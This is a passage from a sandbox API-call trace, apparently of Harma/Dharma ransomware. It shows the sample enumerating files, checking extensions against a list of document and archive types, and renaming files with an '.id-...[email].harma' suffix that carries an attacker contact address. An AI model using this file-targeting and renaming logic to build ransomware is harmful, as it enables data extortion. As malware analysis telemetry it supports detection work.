dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0044.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0044.539] lstrlenW (lpString=".doc") returned 4 [0044.539] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0044.539] lstrlenW (lpString=".docx") returned 5 [0044.539] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0044.539] lstrlenW (lpString=".pdf") returned 4 [0044.539] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0044.539] lstrlenW (lpString=".xls") returned 4 [0044.539] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0044.539] lstrlenW (lpString=".xlsx") returned 5 [0044.539] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0044.539] lstrlenW (lpString=".ppt") returned 4 [0044.540] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0044.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0044.540] lstrlenW (lpString=".zip") returned 4 [0044.540] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0044.540] lstrlenW (lpString=".rar") returned 4 [0044.540] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0044.540] lstrlenW (lpString=".bz2") returned 4 [0044.540] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0044.540] lstrlenW (lpString=".7z") returned 3 [0044.540] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0044.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0044.540] lstrlenW (lpString=".dbf") returned 4 [0044.540] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0044.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0044.540] lstrlenW (lpString=".1cd") returned 4 [0044.540] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0044.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0044.540] lstrlenW (lpString=".jpg") returned 4 [0044.540] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0044.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0044.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0044.540] lstrlenW (lpString=".doc") returned 4 [0044.540] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0044.540] lstrlenW (lpString=".docx") returned 5 [0044.540] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0044.540] lstrlenW (lpString=".pdf") returned 4 [0044.540] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0044.540] lstrlenW (lpString=".xls") returned 4 [0044.540] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0044.541] lstrlenW (lpString=".xlsx") returned 5 [0044.541] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0044.541] lstrlenW (lpString=".ppt") returned 4 [0044.541] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0044.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0044.541] lstrlenW (lpString=".zip") returned 4 [0044.541] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0044.541] lstrlenW (lpString=".rar") returned 4 [0044.541] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0044.541] lstrlenW (lpString=".bz2") returned 4 [0044.541] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0044.541] lstrlenW (lpString=".7z") returned 3 [0044.541] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0044.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0044.541] lstrlenW (lpString=".dbf") returned 4 [0044.541] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0044.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0044.541] lstrlenW (lpString=".1cd") returned 4 [0044.541] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0044.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0044.541] lstrlenW (lpString=".jpg") returned 4 [0044.541] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0044.541] lstrcmpiW (lpString1=".avi", lpString2=".harma") returned -1 [0044.541] lstrlenW (lpString="correct.avi") returned 11 [0044.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0044.542] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=197120) returned 1 [0044.542] CloseHandle (hObject=0x1b0) returned 1 [0044.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0044.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0044.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0044.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0044.542] lstrlenW (lpString=".doc") returned 4 [0044.542] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0044.542] lstrlenW (lpString=".docx") returned 5 [0044.542] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0044.542] lstrlenW (lpString=".pdf") returned 4 [0044.542] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0044.542] lstrlenW (lpString=".xls") returned 4 [0044.542] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0044.542] lstrlenW (lpString=".xlsx") returned 5 [0044.542] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0044.542] lstrlenW (lpString=".ppt") returned 4 [0044.543] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0044.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0044.543] lstrlenW (lpString=".zip") returned 4 [0044.543] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0044.543] lstrlenW (lpString=".rar") returned 4 [0044.543] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0044.543] lstrlenW (lpString=".bz2") returned 4 [0044.543] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0044.543] lstrlenW (lpString=".7z") returned 3 [0044.543] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0044.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0044.543] lstrlenW (lpString=".dbf") returned 4 [0044.543] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0044.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0044.543] lstrlenW (lpString=".1cd") returned 4 [0044.543] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0044.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0044.543] lstrlenW (lpString=".jpg") returned 4 [0044.543] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0044.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0044.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0044.543] lstrlenW (lpString=".doc") returned 4 [0044.543] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0044.543] lstrlenW (lpString=".docx") returned 5 [0044.543] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0044.543] lstrlenW (lpString=".pdf") returned 4 [0044.543] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0044.543] lstrlenW (lpString=".xls") returned 4 [0044.544] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0044.544] lstrlenW (lpString=".xlsx") returned 5 [0044.544] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0044.544] lstrlenW (lpString=".ppt") returned 4 [0044.544] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0044.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0044.544] lstrlenW (lpString=".zip") returned 4 [0044.544] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0044.544] lstrlenW (lpString=".rar") returned 4 [0044.544] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0044.544] lstrlenW (lpString=".bz2") returned 4 [0044.544] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0044.544] lstrlenW (lpString=".7z") returned 3 [0044.544] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0044.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0044.544] lstrlenW (lpString=".dbf") returned 4 [0044.544] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0044.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0044.544] lstrlenW (lpString=".1cd") returned 4 [0044.544] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0044.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0044.544] lstrlenW (lpString=".jpg") returned 4 [0044.544] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0044.544] lstrcmpiW (lpString1=".avi", lpString2=".harma") returned -1 [0044.545] lstrlenW (lpString="delete.avi") returned 10 [0044.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0047.422] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=224256) returned 1 [0047.422] CloseHandle (hObject=0x1ec) returned 1 [0047.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0047.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0047.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0047.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0047.423] lstrlenW (lpString=".doc") returned 4 [0047.423] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0047.423] lstrlenW (lpString=".docx") returned 5 [0047.423] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0047.423] lstrlenW (lpString=".pdf") returned 4 [0047.423] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0047.423] lstrlenW (lpString=".xls") returned 4 [0047.423] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0047.423] lstrlenW (lpString=".xlsx") returned 5 [0047.423] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0047.423] lstrlenW (lpString=".ppt") returned 4 [0047.423] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0047.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0047.423] lstrlenW (lpString=".zip") returned 4 [0047.423] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0047.423] lstrlenW (lpString=".rar") returned 4 [0047.423] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0047.423] lstrlenW (lpString=".bz2") returned 4 [0047.423] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0047.423] lstrlenW (lpString=".7z") returned 3 [0047.423] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0047.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0047.423] lstrlenW (lpString=".dbf") returned 4 [0047.423] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0047.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0047.423] lstrlenW (lpString=".1cd") returned 4 [0047.423] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0047.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0047.423] lstrlenW (lpString=".jpg") returned 4 [0047.423] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0047.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0047.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0047.424] lstrlenW (lpString=".doc") returned 4 [0047.424] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0047.424] lstrlenW (lpString=".docx") returned 5 [0047.424] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0047.424] lstrlenW (lpString=".pdf") returned 4 [0047.424] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0047.424] lstrlenW (lpString=".xls") returned 4 [0047.424] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0047.424] lstrlenW (lpString=".xlsx") returned 5 [0047.424] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0047.424] lstrlenW (lpString=".ppt") returned 4 [0047.424] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0047.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0047.425] lstrlenW (lpString=".zip") returned 4 [0047.425] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0047.425] lstrlenW (lpString=".rar") returned 4 [0047.425] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0047.425] lstrlenW (lpString=".bz2") returned 4 [0047.425] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0047.425] lstrlenW (lpString=".7z") returned 3 [0047.425] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0047.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0047.425] lstrlenW (lpString=".dbf") returned 4 [0047.425] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0047.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0047.425] lstrlenW (lpString=".1cd") returned 4 [0047.425] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0047.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0047.425] lstrlenW (lpString=".jpg") returned 4 [0047.425] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0047.425] lstrcmpiW (lpString1=".avi", lpString2=".harma") returned -1 [0047.425] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0047.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0047.426] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1600388) returned 1 [0047.426] CloseHandle (hObject=0x1ec) returned 1 [0047.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0047.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0047.426] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0047.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0047.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0047.426] lstrlenW (lpString=".doc") returned 4 [0047.426] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0047.426] lstrlenW (lpString=".docx") returned 5 [0047.426] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0047.426] lstrlenW (lpString=".pdf") returned 4 [0047.426] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0047.426] lstrlenW (lpString=".xls") returned 4 [0047.426] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0047.426] lstrlenW (lpString=".xlsx") returned 5 [0047.427] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0047.427] lstrlenW (lpString=".ppt") returned 4 [0047.427] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0047.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0047.427] lstrlenW (lpString=".zip") returned 4 [0047.427] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0047.427] lstrlenW (lpString=".rar") returned 4 [0047.427] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0047.427] lstrlenW (lpString=".bz2") returned 4 [0047.427] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0047.427] lstrlenW (lpString=".7z") returned 3 [0047.427] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0047.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0047.427] lstrlenW (lpString=".dbf") returned 4 [0047.427] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0047.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0047.427] lstrlenW (lpString=".1cd") returned 4 [0047.427] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0047.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0047.430] lstrlenW (lpString=".jpg") returned 4 [0047.430] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0047.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0047.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0047.431] lstrlenW (lpString=".doc") returned 4 [0047.431] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0047.431] lstrlenW (lpString=".docx") returned 5 [0047.431] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0047.431] lstrlenW (lpString=".pdf") returned 4 [0047.431] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0047.431] lstrlenW (lpString=".xls") returned 4 [0047.431] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0047.431] lstrlenW (lpString=".xlsx") returned 5 [0047.431] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0047.431] lstrlenW (lpString=".ppt") returned 4 [0047.431] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0047.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0047.431] lstrlenW (lpString=".zip") returned 4 [0047.431] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0047.431] lstrlenW (lpString=".rar") returned 4 [0047.431] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0047.431] lstrlenW (lpString=".bz2") returned 4 [0047.431] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0047.431] lstrlenW (lpString=".7z") returned 3 [0047.431] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0047.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0047.431] lstrlenW (lpString=".dbf") returned 4 [0047.431] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0047.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0047.431] lstrlenW (lpString=".1cd") returned 4 [0047.431] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0047.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0047.431] lstrlenW (lpString=".jpg") returned 4 [0047.431] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0047.432] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0047.432] lstrlenW (lpString="auxbase.xml") returned 11 [0047.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0047.434] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1434) returned 1 [0047.434] CloseHandle (hObject=0x1ec) returned 1 [0047.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0047.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0047.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0047.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0047.434] lstrlenW (lpString=".doc") returned 4 [0047.434] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.434] lstrlenW (lpString=".docx") returned 5 [0047.434] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0047.434] lstrlenW (lpString=".pdf") returned 4 [0047.434] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.434] lstrlenW (lpString=".xls") returned 4 [0047.434] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.434] lstrlenW (lpString=".xlsx") returned 5 [0047.435] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0047.435] lstrlenW (lpString=".ppt") returned 4 [0047.435] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0047.435] lstrlenW (lpString=".zip") returned 4 [0047.435] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.435] lstrlenW (lpString=".rar") returned 4 [0047.435] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.435] lstrlenW (lpString=".bz2") returned 4 [0047.435] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.435] lstrlenW (lpString=".7z") returned 3 [0047.435] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0047.435] lstrlenW (lpString=".dbf") returned 4 [0047.435] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0047.435] lstrlenW (lpString=".1cd") returned 4 [0047.435] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0047.435] lstrlenW (lpString=".jpg") returned 4 [0047.435] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0047.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0047.436] lstrlenW (lpString=".doc") returned 4 [0047.436] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.436] lstrlenW (lpString=".docx") returned 5 [0047.436] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0047.436] lstrlenW (lpString=".pdf") returned 4 [0047.436] 